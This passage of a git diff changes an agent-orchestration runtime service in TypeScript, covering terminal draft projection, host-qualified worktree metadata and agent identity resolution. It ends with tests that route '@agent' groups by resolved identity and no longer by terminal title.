-} from '../linear/issues'
+  updateIssue as updateLinearIssue
+} from '../linear/linear-issue-mutations'
+import {
+  addIssueComment as addLinearIssueComment,
+  addIssueCommentForAgent as addLinearIssueCommentForAgent,
+  createIssueAttachment as createLinearIssueAttachment,
+  getIssueComments as getLinearIssueComments
+} from '../linear/linear-issue-comments'
+import { LinearWriteFailure } from '../linear/linear-issue-write-support'
+import type { LinearIssueListOptions } from '../linear/linear-issue-query-documents'
 import {
   LinearAgentAccessError,
   getLinearCurrentIssueFromWorktree,
@@ -1143,7 +1154,6 @@ import {
   isGeneratedWorktreeCreateName,
   WORKTREE_CREATE_MAX_SUFFIX_ATTEMPTS
 } from '../worktree-create-candidates'
-import { WORKTREE_CREATE_DEDUPE_TTL_MS } from '../../shared/new-workspace/worktree-create-retry-policy'
 import {
   failedWorktreeCreationNeedsRetirement,
   getRetiredNameRegistryForRepo,
@@ -1354,6 +1364,7 @@ type RuntimeStore = {
   getAllWorktreeMeta: Store['getAllWorktreeMeta']
   getWorktreeMeta: Store['getWorktreeMeta']
   setWorktreeMeta: Store['setWorktreeMeta']
+  setWorktreeMetaForHost?: Store['setWorktreeMetaForHost']
   removeWorktreeMeta: Store['removeWorktreeMeta']
   getWorktreeLineage?: Store['getWorktreeLineage']
   getAllWorktreeLineage?: Store['getAllWorktreeLineage']
@@ -1892,11 +1903,17 @@ export type RuntimeTerminalDataMeta = Readonly<{
 
 type RuntimeVisibleTerminalState = {
   lines: string[]
+  draft?: string
   isAlternateScreen: boolean
   sequence: number
   generation: number
 }
 
+type RuntimeTerminalProjection = {
+  lines: string[]
+  draft?: string
+}
+
 type ProviderBufferAcquisition = {
   generation: number
   scrollbackRows: number
@@ -2121,11 +2138,9 @@ function getAgentLaunchPlatformForRepo(
 // Why: long enough for a phone to reconnect and retry a create whose response
 // was lost, short enough that an intentional later re-resume forks fresh.
 const MOBILE_TERMINAL_CREATE_RESULT_TTL_MS = 60_000
-// Why: same idempotency window for worktree.create — a phone whose create was
-// interrupted by a connection migration retries with the same clientMutationId
-// and reuses the just-created worktree instead of spawning a duplicate. Shared with
-// the mobile client so its replay budget is sized against the real window.
-const WORKTREE_CREATE_RESULT_TTL_MS = WORKTREE_CREATE_DEDUPE_TTL_MS
+// Why: a phone whose create was interrupted retries with the same clientMutationId
+// and reuses the just-created worktree instead of spawning a duplicate.
+const WORKTREE_CREATE_RESULT_TTL_MS = 60_000
 const FOREGROUND_AGENT_WRAPPER_RETRY_INTERVAL_MS = 150
 const FOREGROUND_AGENT_WRAPPER_RETRY_TIMEOUT_MS = 6_500
 const BRACKETED_PASTE_BEGIN = '\x1b[200~'
@@ -2886,6 +2901,8 @@ type ResolvedTerminalWorkspaceLaunchTarget = {
 
 type WorktreeLineageInput = {
   parentWorkspace?: string
+  /** Set by in-app parent pickers so the row is not recorded as a CLI flag. */
+  parentWorkspaceOrigin?: 'manual'
   envParentWorkspace?: string
   parentWorktree?: string
   cwdParentWorktree?: string
@@ -4357,6 +4374,7 @@ export class OrcaRuntimeService {
       throw new Error('Session reuse requires an existing workspace target.')
     }
     const createInput: AutomationCreateInput = {
+      creationKey: input.creationKey,
       name: input.name,
       prompt: input.prompt,
       precheck: input.precheck,
@@ -6095,7 +6113,8 @@ export class OrcaRuntimeService {
     method: string,
     params: unknown,
     timeoutMs?: number,
-    envelope?: RuntimeOrchestrationEnvelope
+    envelope?: RuntimeOrchestrationEnvelope,
+    internal?: { contractVerified?: boolean }
   ): Promise<unknown> {
     if (!this.orchestrationEnvironmentTransport) {
       throw new OrchestrationError(
@@ -6103,7 +6122,7 @@ export class OrcaRuntimeService {
         'Connected-server orchestration is unavailable in this runtime.'
       )
     }
-    if (isOrchestrationMutation(method, params)) {
+    if (isOrchestrationMutation(method, params) && !internal?.contractVerified) {
       const statusResponse = await this.orchestrationEnvironmentTransport.call(
         selector,
         'status.get',
@@ -6504,6 +6523,7 @@ export class OrcaRuntimeService {
       // must not treat browser panes as supported just because runtime RPC is up.
       capabilities,
       ...(degradations.length > 0 ? { degradations } : {}),
+      worktreeCreateIdempotency: { dedupeTtlMs: WORKTREE_CREATE_RESULT_TTL_MS },
       hostPlatform: process.platform,
       terminalWindowsShell: this.store?.getSettings?.().terminalWindowsShell ?? null,
       floatingWorkspaceEnabled: this.store?.getSettings?.().floatingTerminalEnabled !== false,
@@ -11444,6 +11464,10 @@ export class OrcaRuntimeService {
       leafId: string
       incarnationId?: PtyIncarnationId
       agentLaunchAuthority?: { launchToken: string; launchAgent: TuiAgent }
+      providerReattachLaunchIdentity?: {
+        incarnationId: PtyIncarnationId
+        launchAgent: TuiAgent
+      }
     },
     isWsl?: boolean
   ): void {
@@ -11482,6 +11506,18 @@ export class OrcaRuntimeService {
       pty.launchIncarnationId = binding.incarnationId
       pty.launchAgent = agentLaunchAuthority.launchAgent
     }
+    const providerReattachLaunchIdentity = binding?.providerReattachLaunchIdentity
+    if (
+      providerReattachLaunchIdentity &&
+      paneKey &&
+      binding.incarnationId === providerReattachLaunchIdentity.incarnationId &&
+      pty.incarnationId === providerReattachLaunchIdentity.incarnationId &&
+      pty.paneKey === paneKey &&
+      isTuiAgent(providerReattachLaunchIdentity.launchAgent)
+    ) {
+      // Why: daemon metadata owns the surviving process; its incarnation fence restores identity without minting renderer launch authority.
+      pty.launchAgent = providerReattachLaunchIdentity.launchAgent
+    }
     const pendingIncarnation = this.pendingPtyRegistrationIncarnations.get(ptyId)
     if (
       pendingIncarnation === null ||
@@ -14048,13 +14084,18 @@ export class OrcaRuntimeService {
       !recoveredWorkerFallback &&
       this.isKnownUnattachedLocalDaemonPty(ptyId)
     if (recoveredWorkerFallback || neverAttachedProviderFallback) {
-      const providerLines = await this.readProviderTerminalTailLines(
+      const providerProjection = await this.readProviderTerminalTailLines(
         ptyId,
         opts.limit,
         providerSnapshot
       )
-      if (providerLines.length > 0) {
-        return buildVisibleSnapshotReadFallback(read, providerLines, opts.limit)
+      if (providerProjection.lines.length > 0) {
+        return buildVisibleSnapshotReadFallback(
+          read,
+          providerProjection.lines,
+          opts.limit,
+          providerProjection.draft
+        )
       }
     }
     const knownAlternateScreen = this.isTerminalAlternateScreen(ptyId)
@@ -14078,21 +14119,21 @@ export class OrcaRuntimeService {
     ) {
       return read
     }
-    let lines = visibleState?.lines ?? []
-    if (lines.length === 0) {
-      lines = await this.readRendererVisibleSnapshotLines(ptyId)
+    let projection: RuntimeTerminalProjection = visibleState ?? { lines: [] }
+    if (projection.lines.length === 0) {
+      projection = await this.readRendererVisibleSnapshotLines(ptyId)
     }
-    if (lines.length === 0) {
+    if (projection.lines.length === 0) {
       return read
     }
-    return buildVisibleSnapshotReadFallback(read, lines, opts.limit)
+    return buildVisibleSnapshotReadFallback(read, projection.lines, opts.limit, projection.draft)
   }
 
   private async readProviderTerminalTailLines(
     ptyId: string,
     limit: number | undefined,
     snapshotOptions: ProviderSnapshotReadOptions = {}
-  ): Promise<string[]> {
+  ): Promise<RuntimeTerminalProjection> {
     const generation = this.getPtyLifecycleGeneration(ptyId)
     const lineLimit = terminalReadLimit(limit, DEFAULT_TERMINAL_READ_LIMIT)
     const snapshot = await this.serializeProviderTerminalBuffer(
@@ -14101,21 +14142,21 @@ export class OrcaRuntimeService {
       snapshotOptions
     )
     if (!snapshot) {
-      return []
+      return { lines: [] }
     }
     // Why: a cached acquisition can carry scrollback this caller did not ask for,
     // so visible-only reads parse the grid itself rather than trusting the request.
     if (snapshotOptions.visibleScreenOnly) {
-      const lines = await this.parseVisibleSnapshotLines(snapshot)
+      const projection = await this.parseVisibleSnapshot(snapshot)
       // Live bytes ordered after the provider frame make that frame stale.
       return this.getPtyLifecycleGeneration(ptyId) === generation &&
         this.getPtyOutputSequence(ptyId) <= snapshot.seq
-        ? lines
-        : []
+        ? projection
+        : { lines: [] }
     }
     const data = `${snapshot.scrollbackAnsi ?? ''}${snapshot.data}`
     if (data.length === 0) {
-      return []
+      return { lines: [] }
     }
     const emulator = new HeadlessEmulator({
       cols: snapshot.cols,
@@ -14124,11 +14165,11 @@ export class OrcaRuntimeService {
     })
     try {
       await emulator.write(data)
-      const lines = visibleNonBlankTerminalLines(emulator.getBufferTailLines(lineLimit))
+      const projection = projectTerminalTailLines(emulator, lineLimit)
       return this.getPtyLifecycleGeneration(ptyId) === generation &&
         this.getPtyOutputSequence(ptyId) <= snapshot.seq
-        ? lines
-        : []
+        ? projection
+        : { lines: [] }
     } finally {
       emulator.dispose()
     }
@@ -14145,11 +14186,11 @@ export class OrcaRuntimeService {
     if (!knownAlternateScreen && !visibleState?.isAlternateScreen) {
       return preview
     }
-    let lines = visibleState?.lines ?? []
-    if (lines.length === 0) {
-      lines = await this.readRendererVisibleSnapshotLines(ptyId)
+    let projection: RuntimeTerminalProjection = visibleState ?? { lines: [] }
+    if (projection.lines.length === 0) {
+      projection = await this.readRendererVisibleSnapshotLines(ptyId)
     }
-    return lines.length > 0 ? buildPreview(lines, '') : preview
+    return projection.lines.length > 0 ? buildPreview(projection.lines, '') : preview
   }
 
   private async readVisibleTerminalState(
@@ -14203,7 +14244,7 @@ export class OrcaRuntimeService {
         return liveState
       }
     }
-    const lines = await this.parseVisibleSnapshotLines(snapshot)
+    const projection = await this.parseVisibleSnapshot(snapshot)
     if (
       this.getPtyLifecycleGeneration(ptyId) !== generation ||
       this.getPtyOutputSequence(ptyId) > snapshot.seq
@@ -14211,7 +14252,8 @@ export class OrcaRuntimeService {
       return null
     }
     const visibleState: RuntimeVisibleTerminalState = {
-      lines,
+      lines: projection.lines,
+      ...(projection.draft ? { draft: projection.draft } : {}),
       isAlternateScreen: snapshot.alternateScreen ?? false,
       sequence: snapshot.seq,
       generation
@@ -14235,21 +14277,23 @@ export class OrcaRuntimeService {
     ) {
       return null
     }
+    const projection = projectVisibleTerminalLines(state.emulator)
     return {
-      lines: visibleNonBlankTerminalLines(state.emulator.getVisibleLines()),
+      lines: projection.lines,
+      ...(projection.draft ? { draft: projection.draft } : {}),
       isAlternateScreen: state.emulator.isAlternateScreen,
       sequence: state.outputSequence,
       generation
     }
   }
 
-  private async parseVisibleSnapshotLines(snapshot: {
+  private async parseVisibleSnapshot(snapshot: {
     data: string
     cols: number
     rows: number
-  }): Promise<string[]> {
+  }): Promise<{ lines: string[]; draft?: string }> {
     if (snapshot.data.length === 0) {
-      return []
+      return { lines: [] }
     }
     const emulator = new HeadlessEmulator({
       cols: snapshot.cols,
@@ -14258,19 +14302,21 @@ export class OrcaRuntimeService {
     })
     try {
       await emulator.write(`\x1b[2J\x1b[3J\x1b[H${snapshot.data}`)
-      return visibleNonBlankTerminalLines(emulator.getVisibleLines())
+      return projectVisibleTerminalLines(emulator)
     } finally {
       emulator.dispose()
     }
   }
 
-  private async readRendererVisibleSnapshotLines(ptyId: string): Promise<string[]> {
+  private async readRendererVisibleSnapshotLines(
+    ptyId: string
+  ): Promise<RuntimeTerminalProjection> {
     const controller = this.ptyController
     if (!controller?.serializeBuffer) {
-      return []
+      return { lines: [] }
     }
     if (controller.hasRendererSerializer && !controller.hasRendererSerializer(ptyId)) {
-      return []
+      return { lines: [] }
     }
     try {
       // Why: raw PTY tails can be whitespace-only while a full-screen TUI is
@@ -14285,11 +14331,11 @@ export class OrcaRuntimeService {
         null
       )
       if (!snapshot || snapshot.data.length === 0) {
-        return []
+        return { lines: [] }
       }
-      return this.parseVisibleSnapshotLines(snapshot)
+      return this.parseVisibleSnapshot(snapshot)
     } catch {
-      return []
+      return { lines: [] }
     }
   }
 
@@ -14667,13 +14713,14 @@ export class OrcaRuntimeService {
       return
     }
     const receipt = this.restoredOrchestrationAuthorityByPtyId.get(ptyId)
-    if (!pty.launchToken && !receipt) {
+    if (!pty.launchToken && !receipt && !pty.launchAgent) {
       return
     }
     const paneKeys = this.collectPaneKeysForPty(ptyId)
     this.restoredOrchestrationAuthorityByPtyId.delete(ptyId)
     pty.launchToken = null
     pty.launchIncarnationId = null
+    pty.launchAgent = null
     for (const paneKey of paneKeys) {
       this.retireAgentHookCompatibilityAuthorityFn?.(paneKey)
     }
@@ -19270,12 +19317,11 @@ export class OrcaRuntimeService {
     opts: { limit?: number } = {}
   ): Promise<RuntimeTerminalRead> {
     const visibleState = await this.readVisibleTerminalState(ptyId)
-    const lines =
-      visibleState?.lines ?? (await this.readProviderTerminalTailLines(ptyId, opts.limit))
-    if (lines.length === 0) {
+    const projection = visibleState ?? (await this.readProviderTerminalTailLines(ptyId, opts.limit))
+    if (projection.lines.length === 0) {
       return { ...read, source: 'screen-unavailable' }
     }
-    return buildVisibleSnapshotReadFallback(read, lines, opts.limit)
+    return buildVisibleSnapshotReadFallback(read, projection.lines, opts.limit, projection.draft)
   }
 
   // Why a cache: leaf-branch sends may arrive per keystroke; one proven-absent
@@ -19528,7 +19574,8 @@ export class OrcaRuntimeService {
 
   private getTerminalAgentStatusSnapshot(
     handle: string,
-    expectedPtyId: string
+    expectedPtyId: string,
+    waitTextOverride?: string
   ): TerminalAgentStatusSnapshot {
     const pty = this.getLivePtyForHandle(handle)
     if (pty) {
@@ -19548,11 +19595,9 @@ export class OrcaRuntimeService {
           { title: pty.pty.title, updatedAt: pty.pty.titleUpdatedAt },
           { title: pty.pty.lastOscTitle, updatedAt: pty.pty.lastOscTitleAt }
         )
-      const waitText = buildTerminalWaitText(
-        pty.pty.tailBuffer,
-        pty.pty.tailPartialLine,
-        pty.pty.preview
-      )
+      const waitText =
+        waitTextOverride ??
+        buildTerminalWaitText(pty.pty.tailBuffer, pty.pty.tailPartialLine, pty.pty.preview)
       return {
         waitText,
         waitBlockedAt: pty.pty.waitBlockedAt,
@@ -19580,7 +19625,9 @@ export class OrcaRuntimeService {
       { title: this.tabs.get(leaf.tabId)?.title, updatedAt: 0 }
     )
     return {
-      waitText: buildTerminalWaitText(leaf.tailBuffer, leaf.tailPartialLine, leaf.preview),
+      waitText:
+        waitTextOverride ??
+        buildTerminalWaitText(leaf.tailBuffer, leaf.tailPartialLine, leaf.preview),
       waitBlockedAt: leaf.waitBlockedAt,
       title: title?.title ?? null,
       titleStatus: title ? detectAgentStatusFromTitle(title.title) : leaf.lastAgentStatus,
@@ -20239,7 +20286,8 @@ export class OrcaRuntimeService {
     }
     assertAgentPromptRequestActive(options.signal)
     this.assertAgentPromptGeneration(ptyId, generation)
-    const baseline = this.getAgentPromptActivity(handle, ptyId)
+    const waitTextCache: AgentPromptWaitTextCache = {}
+    const baseline = this.getAgentPromptActivity(handle, ptyId, waitTextCache)
     this.assertAgentPromptPermissionSafe(permissionBaseline, baseline)
     const suffixWrote = this.ptyController?.write(ptyId, AGENT_PROMPT_SUBMIT) ?? false
     if (!suffixWrote) {
@@ -20247,7 +20295,7 @@ export class OrcaRuntimeService {
     }
     await verifyAgentPromptSubmission({
       baseline,
-      readActivity: () => this.getAgentPromptActivity(handle, ptyId),
+      readActivity: () => this.getAgentPromptActivity(handle, ptyId, waitTextCache),
       timeoutMs: resolveAgentPromptEffectTimeoutMs(this.getPtyAgent(ptyId)),
       signal: options.signal
     })
@@ -20276,8 +20324,13 @@ export class OrcaRuntimeService {
     }
   }
 
-  private getAgentPromptActivity(handle: string, ptyId: string): AgentPromptActivity {
+  private getAgentPromptActivity(
+    handle: string,
+    ptyId: string,
+    waitTextCache?: AgentPromptWaitTextCache
+  ): AgentPromptActivity {
     this.assertLiveTerminalHandleTargetsPty(handle, ptyId)
+    const outputSequence = this.getPtyOutputSequence(ptyId)
     const explicitCandidate = this.getFreshExplicitAgentStatusForHandle(handle)
     const explicitFloor = this.agentPromptExplicitStatusFloorByPtyId.get(ptyId)
     const explicit =
@@ -20295,7 +20348,14 @@ export class OrcaRuntimeService {
       (!explicit ||
         lifecycle.updatedAt > explicit.updatedAt ||
         (lifecycle.updatedAt === explicit.updatedAt && lifecycle.status === 'permission'))
-    const terminal = this.getTerminalAgentStatusSnapshot(handle, ptyId)
+    const waitText = waitTextCache
+      ? readAgentPromptWaitText(
+          waitTextCache,
+          outputSequence,
+          () => this.getTerminalAgentStatusSnapshot(handle, ptyId).waitText
+        )
+      : undefined
+    const terminal = this.getTerminalAgentStatusSnapshot(handle, ptyId, waitText)
     const status = this.hasAuthoritativeTerminalWaitPermission(terminal, explicit, lifecycle)
       ? 'permission'
       : lifecycleIsNewer
@@ -20310,7 +20370,7 @@ export class OrcaRuntimeService {
       // stateStartedAt, not updatedAt — same-state tool/prompt pings refresh updatedAt and would
       // otherwise pass off an in-progress turn as a new one.
       explicitWorkingStartedAt: explicit?.status === 'working' ? explicit.stateStartedAt : null,
-      outputSequence: this.getPtyOutputSequence(ptyId),
+      outputSequence,
       status
     }
   }
@@ -20835,7 +20895,7 @@ export class OrcaRuntimeService {
         workspaceKind: 'git',
         worktreeId: worktree.id,
         repoId: worktree.repoId,
-        ...((worktree.hostId ?? meta?.hostId) ? { hostId: worktree.hostId ?? meta?.hostId } : {}),
+        ...((meta?.hostId ?? worktree.hostId) ? { hostId: meta?.hostId ?? worktree.hostId } : {}),
         terminalPlatform,
         repo: repo?.displayName ?? worktree.repoId,
         path: worktree.path,
@@ -24261,7 +24321,10 @@ export class OrcaRuntimeService {
     const metaById = store.getAllWorktreeMeta()
     const detected = scan.worktrees.map((gitWorktree) => {
       const worktreeId = `${repo.id}::${gitWorktree.path}`
-      const meta = getRepoOwnedWorktreeMeta(repo, worktreeId, metaById, repoOwnerCount)
+      // A host-qualified row is exact; the locator-keyed one is only trustworthy when this repo owns it.
+      const meta =
+        readWorktreeMetaForHost(store, worktreeId, expectedHostId) ??
+        getRepoOwnedWorktreeMeta(repo, worktreeId, metaById, repoOwnerCount)
       const worktree = {
         ...mergeWorktree(repo.id, gitWorktree, meta, repo.displayName),
         hostId: repoOwnerCount === 1 ? (meta?.hostId ?? expectedHostId) : expectedHostId
@@ -27129,12 +27192,20 @@ export class OrcaRuntimeService {
         createdAt
       })
     }
-    this.store.setWorktreeMeta(worktree.id, stripOrcaProvenanceMetaUpdates(persistedMetaUpdates))
+    const metadataUpdates = stripOrcaProvenanceMetaUpdates(persistedMetaUpdates)
+    const executionHostId = worktree.identity?.executionHostId ?? worktree.hostId
+    if (executionHostId && this.store.setWorktreeMetaForHost) {
+      this.store.setWorktreeMetaForHost(worktree.id, executionHostId, metadataUpdates)
+    } else {
+      this.store.setWorktreeMeta(worktree.id, metadataUpdates)
+    }
     // Why: unlike renderer-initiated optimistic updates, CLI callers need an
     // explicit push so the editor refreshes metadata changed outside the UI.
     this.invalidateResolvedWorktreeCache()
     this.notifyWorktreesChanged(worktree.repoId)
-    return await this.showManagedWorktree(`id:${worktree.id}`)
+    return await this.showManagedWorktree(
+      worktree.identity?.key ? `identity:${worktree.identity.key}` : `id:${worktree.id}`
+    )
   }
 
   persistManagedWorktreeSortOrder(orderedIds: string[]): { updated: number } {
@@ -32322,7 +32393,10 @@ export class OrcaRuntimeService {
       throw new Error('selector_not_found')
     }
 
-    if (selector.startsWith('id:')) {
+    if (selector.startsWith('identity:')) {
+      const identityKey = selector.slice('identity:'.length)
+      candidates = worktrees.filter((worktree) => worktree.identity?.key === identityKey)
+    } else if (selector.startsWith('id:')) {
       const worktreeId = explicitWorktreeId ?? selector.slice(3)
       candidates = worktrees.filter((worktree) => worktree.id === worktreeId)
       if (candidates.length === 0) {
@@ -32502,11 +32576,20 @@ export class OrcaRuntimeService {
 
     if (input.parentWorkspace) {
       try {
+        const parent = await this.resolveWorkspaceParentSelector(input.parentWorkspace)
+        // Why: a picker in the app must record the same provenance as a local create, or the same
+        // user action would carry different cleanup semantics depending on where the repo lives.
         return {
           kind: 'lineage',
-          parent: await this.resolveWorkspaceParentSelector(input.parentWorkspace),
-          origin: 'cli',
-          capture: { source: 'explicit-cli-flag', confidence: 'explicit' }
+          parent,
+          origin: input.parentWorkspaceOrigin === 'manual' ? 'manual' : 'cli',
+          capture:
+            input.parentWorkspaceOrigin === 'manual'
+              ? {
+                  source: parent.type === 'worktree' ? 'manual-action' : 'active-workspace',
+                  confidence: 'explicit'
+                }
+              : { source: 'explicit-cli-flag', confidence: 'explicit' }
         }
       } catch (err) {
         throw new RuntimeLineageError(
@@ -33935,6 +34018,30 @@ export class OrcaRuntimeService {
     return null
   }
 
+  /** Thin adapter so the summary builders stay declarative; the decision lives in `src/shared`. */
+  private resolvePaneAgentIdentityField(
+    launchAgent: TuiAgent | null | undefined,
+    foregroundAgent: TuiAgent | null | undefined,
+    title: string | null,
+    paneKey: string | null
+  ): { agentIdentity?: TuiAgent } {
+    // Why hooks here: an agent the USER started from a shell has no launch record, and on WSL the
+    // Windows host reads its foreground process as `wsl.exe` rather than the agent inside the
+    // distro. The hook is the only signal that survives both, because the agent reports itself.
+    const hookRow = paneKey
+      ? this.getHookAgentRowForPane(this.getAgentProviderSessionRowsForPaneFn?.(paneKey) ?? [])
+      : null
+    const hookAgent = isTuiAgent(hookRow?.agentType) ? hookRow.agentType : null
+    const agentIdentity = resolvePublishedPaneAgentIdentity({
+      hookAgent,
+      hookIsLive: hookRow?.agentIsLive,
+      launchAgent,
+      foregroundAgent,
+      title
+    })
+    return agentIdentity ? { agentIdentity } : {}
+  }
+
   private buildTerminalSummary(
     leaf: RuntimeLeafRecord,
     worktreesById: Map<string, ResolvedWorktree>,
@@ -33944,6 +34051,7 @@ export class OrcaRuntimeService {
     const tab = this.tabs.get(leaf.tabId) ?? null
 
     const pty = leaf.ptyId ? this.ptysById.get(leaf.ptyId) : undefined
+    const title = getLatestLeafTitle(leaf, tab?.title ?? null)
     // Why: leaf.connected mirrors the renderer graph (`ptyId !== null`), so a
     // restored surface whose PTY died with a prior run still reads connected.
     // Demote only on a controller-proven absence, and only for locally-scoped
@@ -33969,13 +34077,21 @@ export class OrcaRuntimeService {
       branch: worktree?.branch ?? '',
       tabId: leaf.tabId,
       leafId: leaf.leafId,
-      title: getLatestLeafTitle(leaf, tab?.title ?? null),
+      title,
       connected: provenAbsent ? false : leaf.connected,
       writable: provenAbsent ? false : leaf.writable,
       lastOutputAt: leaf.lastOutputAt,
       preview: leaf.preview,
       ...(leaf.lastExitCause ? { exitCause: leaf.lastExitCause } : {}),
-      ...this.terminalExecutionHostField(leaf.ptyId, leaf.worktreeId)
+      ...this.terminalExecutionHostField(leaf.ptyId, leaf.worktreeId),
+      ...this.resolvePaneAgentIdentityField(
+        pty?.launchAgent,
+        pty?.foregroundAgent,
+        title,
+        // Why guarded: makePaneKey THROWS on a non-UUID leaf id, and an unguarded call here took
+        // down terminal.list for every pane in the list, not just the odd one.
+        isTerminalLeafId(leaf.leafId) ? makePaneKey(leaf.tabId, leaf.leafId) : null
+      )
     }
   }
 
@@ -35176,6 +35292,7 @@ export class OrcaRuntimeService {
     providerSessionAgentType: string | null
     providerSessionReceivedAt: number | null
     agentType: string | null
+    agentIsLive: boolean
     live: HookLiveAgentRow | null
   } {
     let session: AgentStatusIpcPayload | null = null
@@ -35216,6 +35333,9 @@ export class OrcaRuntimeService {
       providerSessionAgentType: session?.agentType ?? null,
       providerSessionReceivedAt: session?.receivedAt ?? null,
       agentType: agent?.agentType ?? null,
+      // A fresh completed row still projects its terminal `done` status, but it is
+      // past-tense identity evidence and must not outrank process or launch facts.
+      agentIsLive: agent != null && agent.state !== 'done',
       live: live
         ? {
             payload: pickParsedAgentStatusPayload(live),
@@ -35999,6 +36119,7 @@ export class OrcaRuntimeService {
     worktreesById: Map<string, ResolvedWorktree>
   ): RuntimeTerminalSummary {
     const worktree = worktreesById.get(pty.worktreeId)
+    const title = getLatestPtyTitle(pty)
 
     const pane = parsePaneKey(pty.paneKey ?? '')
     const orphaned = !pty.tabId || !pane || pane.tabId !== pty.tabId
@@ -36012,13 +36133,19 @@ export class OrcaRuntimeService {
       branch: worktree?.branch ?? '',
       tabId: orphaned ? `pty:${pty.ptyId}` : pty.tabId!,
       leafId: orphaned ? `pty:${pty.ptyId}` : pane.leafId,
-      title: getLatestPtyTitle(pty),
+      title,
       connected: pty.connected,
       writable: pty.connected,
       lastOutputAt: pty.lastOutputAt,
       preview: pty.preview,
       ...(pty.lastExitCause ? { exitCause: pty.lastExitCause } : {}),
-      ...this.terminalExecutionHostField(pty.ptyId, pty.worktreeId)
+      ...this.terminalExecutionHostField(pty.ptyId, pty.worktreeId),
+      ...this.resolvePaneAgentIdentityField(
+        pty.launchAgent,
+        pty.foregroundAgent,
+        title,
+        pty.paneKey ?? null
+      )
     }
   }
 
@@ -40940,6 +41067,46 @@ function visibleNonBlankTerminalLines(lines: string[]): string[] {
   return lines.map((line) => line.trimEnd()).filter((line) => line.trim().length > 0)
 }
 
+function projectVisibleTerminalLines(emulator: HeadlessEmulator): {
+  lines: string[]
+  draft?: string
+} {
+  const lines = emulator.getVisibleLines()
+  const draft = detectTerminalComposerDraft(emulator.getCursorLineContext())
+  if (draft) {
+    lines[draft.promptRow] = draft.promptGlyph
+    for (let row = draft.promptRow + 1; row <= draft.endRow; row += 1) {
+      lines[row] = ''
+    }
+  }
+  return {
+    lines: visibleNonBlankTerminalLines(lines),
+    ...(draft ? { draft: draft.text } : {})
+  }
+}
+
+export function projectTerminalTailLines(
+  emulator: HeadlessEmulator,
+  limit: number
+): RuntimeTerminalProjection {
+  const tail = emulator.getBufferTailLines(limit)
+  const visible = emulator.getVisibleLines()
+  const visibleRange = emulator.getVisibleBufferRange()
+  const draft = detectTerminalComposerDraft(emulator.getCursorLineContext())
+  if (draft && visibleRange.endExclusive === visibleRange.totalLength) {
+    visible[draft.promptRow] = draft.promptGlyph
+    for (let row = draft.promptRow + 1; row <= draft.endRow; row += 1) {
+      visible[row] = ''
+    }
+    const scrollbackTail = tail.slice(0, Math.max(0, tail.length - visible.length))
+    tail.splice(0, tail.length, ...scrollbackTail, ...visibleNonBlankTerminalLines(visible))
+  }
+  return {
+    lines: visibleNonBlankTerminalLines(tail).slice(-limit),
+    ...(draft ? { draft: draft.text } : {})
+  }
+}
+
 // Why: every read carries its source, so a caller that asked for a screen and got a response
 // with no source at all knows it reached a host that predates screen reads — rather than
 // mistaking the stream for the screen. Rendered lines only ever enter a read through
@@ -40952,7 +41119,8 @@ function labelTerminalReadSource(resolved: RuntimeTerminalRead): RuntimeTerminal
 function buildVisibleSnapshotReadFallback(
   read: RuntimeTerminalRead,
   visibleLines: string[],
-  limit: number | undefined
+  limit: number | undefined,
+  draft?: string
 ): RuntimeTerminalRead {
   const lineLimit = terminalReadLimit(limit, DEFAULT_TERMINAL_READ_LIMIT)
   const lineBoundedTail = visibleLines.slice(-lineLimit)
@@ -40966,7 +41134,8 @@ function buildVisibleSnapshotReadFallback(
     limited:
       read.limited || lineBoundedTail.length < visibleLines.length || charBoundedTail.limited,
     returnedLineCount: charBoundedTail.tail.length,
-    source: 'screen'
+    source: 'screen',
+    ...(draft ? { draft } : {})
   }
 }
 
diff --git a/src/main/runtime/orchestration/groups.test.ts b/src/main/runtime/orchestration/groups.test.ts
index 81c2345c8b2..7fb30f733f0 100644
--- a/src/main/runtime/orchestration/groups.test.ts
+++ b/src/main/runtime/orchestration/groups.test.ts
@@ -18,7 +18,10 @@ function makeSummary(
     connected: opts.connected ?? true,
     writable: opts.writable ?? true,
     lastOutputAt: opts.lastOutputAt ?? null,
-    preview: opts.preview ?? ''
+    preview: opts.preview ?? '',
+    // Why spread and not a default: `agentIdentity` absent is meaningful (unknown), so the
+    // helper must be able to produce a summary that genuinely lacks the field.
+    ...(opts.agentIdentity ? { agentIdentity: opts.agentIdentity } : {})
   }
 }
 
@@ -97,209 +100,108 @@ describe('resolveGroupAddress', () => {
   })
 
   describe('agent name groups', () => {
-    it('matches @claude by terminal title', () => {
+    // Why identity and not title: these groups used to match `@<name>` against the terminal
+    // title, so any pane whose task text mentioned an agent received that agent's messages.
+    // Routing now reads the identity the host resolved from launch/process evidence it owns.
+
+    it('routes to every pane the host resolved as that agent', () => {
       const terminals = [
-        makeSummary('term_a', { title: 'Claude Code' }),
-        makeSummary('term_b', { title: 'Claude Code' }),
-        makeSummary('term_c', { title: 'Codex CLI' })
+        makeSummary('term_a', { agentIdentity: 'claude' }),
+        makeSummary('term_b', { agentIdentity: 'claude' }),
+        makeSummary('term_c', { agentIdentity: 'codex' })
       ]
-      const result = resolveGroupAddress('@claude', 'term_a', terminals, noStatus)
-      expect(result).toEqual(['term_b'])
+      expect(resolveGroupAddress('@claude', 'term_a', terminals, noStatus)).toEqual(['term_b'])
     })
 
-    it('matches @mimo by terminal title', () => {
+    it.each([
+      ['@codex', 'codex'],
+      ['@openclaude', 'openclaude'],
+      ['@mimo', 'mimo-code'],
+      ['@gemini', 'gemini'],
+      ['@droid', 'droid'],
+      ['@grok', 'grok'],
+      ['@cursor', 'cursor'],
+      ['@opencode', 'opencode']
+    ])('routes %s to its agent id', (group, agentIdentity) => {
       const terminals = [
-        makeSummary('term_a', { title: 'mimo' }),
-        makeSummary('term_b', { title: 'MiMo Code session' }),
-        makeSummary('term_c', { title: 'OpenCode' })
+        makeSummary('sender'),
+        makeSummary('target', { agentIdentity: agentIdentity as never }),
+        makeSummary('other', { agentIdentity: 'claude' })
       ]
-      const result = resolveGroupAddress('@mimo', 'term_a', terminals, noStatus)
-      expect(result).toEqual(['term_b'])
+      const expected = agentIdentity === 'claude' ? ['target', 'other'] : ['target']
+      expect(resolveGroupAddress(group, 'sender', terminals, noStatus)).toEqual(expected)
     })
 
-    it('matches @openclaude by terminal title', () => {
-      const terminals = [
-        makeSummary('term_a', { title: 'OpenClaude' }),
-        makeSummary('term_b', { title: 'OpenClaude running' }),
-        makeSummary('term_c', { title: 'Claude Code' })
-      ]
-      const result = resolveGroupAddress('@openclaude', 'term_a', terminals, noStatus)
-      expect(result).toEqual(['term_b'])
+    it('is case-insensitive for the group address', () => {
